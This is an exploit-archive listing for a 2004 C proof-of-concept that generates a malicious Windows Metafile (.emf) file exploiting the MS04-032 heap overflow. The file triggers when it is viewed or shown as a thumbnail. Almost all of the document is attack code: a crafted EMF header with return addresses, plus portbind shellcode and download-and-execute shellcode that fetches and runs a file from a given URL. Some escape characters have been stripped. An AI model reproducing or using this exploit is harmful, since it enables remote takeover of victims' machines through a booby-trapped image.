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# Title : MS Windows Metafile (.emf) Heap Overflow Exploit (MS04-032)
# Published : 2004-10-20
# Author : houseofdabus
# Previous Title : ShixxNote 6.net Remote Buffer Overflow Exploit
# Next Title : SLX Server 6.1 Arbitrary File Creation Exploit (PoC)
/* HOD-ms04032-emf-expl2.c:
*
* (MS04-032) Microsoft Windows XP Metafile (.emf) Heap Overflow
*
* Exploit version 0.2 (PUBLIC) coded by
*
*
* .::[ houseofdabus ]::.
*
*
* [at inbox dot ru]
* -------------------------------------------------------------------
* About WMF/EMF:
* Windows Metafile (WMF) and Enhanced Windows Metafile (EMF) formats
* are vector files that can contain a raster image...
*
* -------------------------------------------------------------------
* The vulnerability will be triggered by either viewing a malicious
* file or by navigating to a directory, which contains a malicious
* file and displays it as a thumbnail.
*
* Graphics Rendering Engine Vulnerability - CAN-2004-0209
* -------------------------------------------------------------------
* Tested on:
* - Internet Explorer 6.0 (SP1) (iexplore.exe)
* - Explorer (explorer.exe)
* - Windows XP SP1
*
* -------------------------------------------------------------------
* Compile:
* Win32/VC++ : cl HOD-ms04032-emf-expl.c
* Win32/cygwin: gcc HOD-ms04032-emf-expl.c -lws2_32.lib
* Linux : gcc -o HOD-ms04032-emf-expl HOD-ms04032-emf-expl.c
*
* -------------------------------------------------------------------
* Command Line Parameters/Arguments:
*
* HOD.exe <file> <shellcode> <bind/connectback port> [connectback IP]
*
* Shellcode:
* 1 - Portbind shellcode
* 2 - Connectback shellcode
*
* -------------------------------------------------------------------
* Examples:
*
* C:>HOD-ms04032-emf-expl.exe expl.emf 1 7777
*
* C:>HOD-ms04032-emf-expl.exe expl.emf 2 http://host/file.exe
*
* -------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*
*/
/* #define _WIN32 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#include <winsock2.h>
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif
#include <windows.h>
unsigned char emfheader[] =
"x01x00x00x00x40x00x00x00x00x00x00x00x00x00x00x00"
"x20x00x00x00x20x00x00x00x00x00x00x00x00x00x00x00"
"x4cx03x00x00x4cx03x00x00x20x45x4dx46x00x00x01x00"
"x40x00x00x00x0bx00x00x00x0ax00x00x00xffxffx00x00"
"xEBx12x90x90x90x90x90x90"
"x9ex5cx05x78" /* call [edi+0x74h] - rpcrt4.dll */
"xb4x73xedx77"; /* Top SEH - XP SP1 */
unsigned char portbind_sc[] =
"x90x90x90x90x90x90x90x90"
"xebx03x5dxebx05xe8xf8xff"
"xffxffx8bxc5x83xc0x11x33xc9x66xb9xc9x01x80x30x88"
"x40xe2xfaxddx03x64x03x7cx09x64x08x88x88x88x60xc4"
"x89x88x88x01xcex74x77xfex74xe0x06xc6x86x64x60xd9"
"x89x88x88x01xcex4exe0xbbxbax88x88xe0xffxfbxbaxd7"
"xdcx77xdex4ex01xcex70x77xfex74xe0x25x51x8dx46x60"
"xb8x89x88x88x01xcex5ax77xfex74xe0xfax76x3bx9ex60"
"xa8x89x88x88x01xcex46x77xfex74xe0x67x46x68xe8x60"
"x98x89x88x88x01xcex42x77xfex70xe0x43x65x74xb3x60"
"x88x89x88x88x01xcex7cx77xfex70xe0x51x81x7dx25x60"
"x78x88x88x88x01xcex78x77xfex70xe0x2cx92xf8x4fx60"
"x68x88x88x88x01xcex64x77xfex70xe0x2cx25xa6x61x60"
"x58x88x88x88x01xcex60x77xfex70xe0x6dxc1x0exc1x60"
"x48x88x88x88x01xcex6ax77xfex70xe0x6fxf1x4exf1x60"
"x38x88x88x88x01xcex5exbbx77x09x64x7cx89x88x88xdc"
"xe0x89x89x88x88x77xdex7cxd8xd8xd8xd8xc8xd8xc8xd8"
"x77xdex78x03x50xdfxdfxe0x8ax88xABx6Fx03x44xe2x9e"
"xd9xdbx77xdex64xdfxdbx77xdex60xbbx77xdfxd9xdbx77"
"xdex6ax03x58x01xcex36xe0xebxe5xecx88x01xeex4ax0b"
"x4cx24x05xb4xacxbbx48xbbx41x08x49x9dx23x6ax75x4e"
"xccxacx98xccx76xccxacxb5x01xdcxacxc0x01xdcxacxc4"
"x01xdcxacxd8x05xccxacx98xdcxd8xd9xd9xd9xc9xd9xc1"
"xd9xd9x77xfex4axd9x77xdex46x03x44xe2x77x77xb9x77"
"xdex5ax03x40x77xfex36x77xdex5ex63x16x77xdex9cxde"
"xecx29xb8x88x88x88x03xc8x84x03xf8x94x25x03xc8x80"
"xd6x4ax8cx88xdbxddxdexdfx03xe4xacx90x03xcdxb4x03"
"xdcx8dxf0x8bx5dx03xc2x90x03xd2xa8x8bx55x6bxbaxc1"
"x03xbcx03x8bx7dxbbx77x74xbbx48x24xb2x4cxfcx8fx49"
"x47x85x8bx70x63x7axb3xf4xacx9cxfdx69x03xd2xacx8b"
"x55xeex03x84xc3x03xd2x94x8bx55x03x8cx03x8bx4dx63"
"x8axbbx48x03x5dxd7xd6xd5xd3x4ax8cx88";
unsigned char download_sc[]=
"x90x90x90x90x90x90x90x90"
"xEBx0Fx58x80x30x17x40x81x38x6Dx30x30x21x75xF4"
"xEBx05xE8xECxFFxFFxFFxFEx94x16x17x17x4Ax42x26"
"xCCx73x9Cx14x57x84x9Cx54xE8x57x62xEEx9Cx44x14"
"x71x26xC5x71xAFx17x07x71x96x2Dx5Ax4Dx63x10x3E"
"xD5xFExE5xE8xE8xE8x9ExC4x9Cx6Dx2Bx16xC0x14x48"
"x6Fx9Cx5Cx0Fx9Cx64x37x9Cx6Cx33x16xC1x16xC0xEB"
"xBAx16xC7x81x90xEAx46x26xDEx97xD6x18xE4xB1x65"
"x1Dx81x4Ex90xEAx63x05x50x50xF5xF1xA9x18x17x17"
"x17x3ExD9x3ExE0xFExFFxE8xE8xE8x26xD7x71x9Cx10"
"xD6xF7x15x9Cx64x0Bx16xC1x16xD1xBAx16xC7x9ExD1"
"x9ExC0x4Ax9Ax92xB7x17x17x17x57x97x2Fx16x62xED"
"xD1x17x17x9Ax92x0Bx17x17x17x47x40xE8xC1x7Fx13"
"x17x17x17x7Fx17x07x17x17x7Fx68x81x8Fx17x7Fx17"
"x17x17x17xE8xC7x9Ex92x9Ax17x17x17x9Ax92x18x17"
"x17x17x47x40xE8xC1x40x9Ax9Ax42x17x17x17x46xE8"
"xC7x9ExD0x9Ax92x4Ax17x17x17x47x40xE8xC1x26xDE"
"x46x46x46x46x46xE8xC7x9ExD4x9Ax92x7Cx17x17x17"
"x47x40xE8xC1x26xDEx46x46x46x46x9Ax82xB6x17x17"
"x17x45x44xE8xC7x9ExD4x9Ax92x6Bx17x17x17x47x40"
"xE8xC1x9Ax9Ax86x17x17x17x46x7Fx68x81x8Fx17xE8"
"xA2x9Ax17x17x17x44xE8xC7x48x9Ax92x3Ex17x17x17"
"x47x40xE8xC1x7Fx17x17x17x17x9Ax8Ax82x17x17x17"
"x44xE8xC7x9ExD4x9Ax92x26x17x17x17x47x40xE8xC1"
"xE8xA2x86x17x17x17xE8xA2x9Ax17x17x17x44xE8xC7"
"x9Ax92x2Ex17x17x17x47x40xE8xC1x44xE8xC7x9Ax92"
"x56x17x17x17x47x40xE8xC1x7Fx12x17x17x17x9Ax9A"
"x82x17x17x17x46xE8xC7x9Ax92x5Ex17x17x17x47x40"
"xE8xC1x7Fx17x17x17x17xE8xC7xFFx6FxE9xE8xE8x50"
"x72x63x47x65x78x74x56x73x73x65x72x64x64x17x5B"
"x78x76x73x5Bx7Ex75x65x76x65x6Ex56x17x41x7Ex65"
"x63x62x76x7Bx56x7Bx7Bx78x74x17x48x7Bx74x65x72"
"x76x63x17x48x7Bx60x65x7Ex63x72x17x48x7Bx74x7B"
"x78x64x72x17x40x7Ex79x52x6Fx72x74x17x52x6Fx7E"
"x63x47x65x78x74x72x64x64x17x40x7Ex79x5Ex79x72"
"x63x17x5Ex79x63x72x65x79x72x63x58x67x72x79x56"
"x17x5Ex79x63x72x65x79x72x63x58x67x72x79x42x65"
"x7Bx56x17x5Ex79x63x72x65x79x72x63x45x72x76x73"
"x51x7Ex7Bx72x17x17x17x17x17x17x17x17x17x7Ax27"
"x27x39x72x6Fx72x17""HOD""x21";
unsigned char endoffile[] = "x00x00x00x00";
void
usage(char *prog)
{
printf("Usage:n");
printf("%s <file> <shellcode> <bindport / url>n", prog);
printf("nShellcode:n");
printf(" 1 - Portbind shellcoden");
printf(" 2 - Download & exec shellcodenn");
exit(0);
}
int
main(int argc, char **argv)
{
char endofurl = 'x01';
unsigned short port;
int sc;
FILE *fp;
printf("n(MS04-032) Microsoft Windows XP Metafile
(.emf) Heap Overflownn");
printf("--- Coded by .::[ houseofdabus ]::. ---nn");
if (argc < 4) usage(argv[0]);
sc = atoi(argv[2]);
if ((sc > 2) || (sc < 1)) usage(argv[0]);
fp = fopen(argv[1], "wb");
if (fp == NULL) {
printf("[-] error: can't create file: %sn", argv[1]);
exit(0);
}
/* header */
fwrite(emfheader, 1, sizeof(emfheader)-1, fp);
printf("[*] Shellcode: ");
if (sc == 1) {
port = atoi(argv[3]);
printf("Portbind, port = %un", port);
port = htons(port^(unsigned short)0x8888);
memcpy(portbind_sc+266, &port, 2);
fwrite(portbind_sc, 1, sizeof(portbind_sc)-1, fp);
fwrite(endoffile, 1, 4, fp);
}
else {
printf("Download & exec, url = %sn", argv[3]);
fwrite(download_sc, 1, sizeof(download_sc)-1,
fp);
fwrite(argv[3], 1, strlen(argv[3]), fp);
fwrite(&endofurl, 1, 1, fp);
fwrite(endoffile, 1, 4, fp);
}
printf("[+] Okn");
fclose(fp);
return 0;
}
// www.Syue.com [2004-10-20]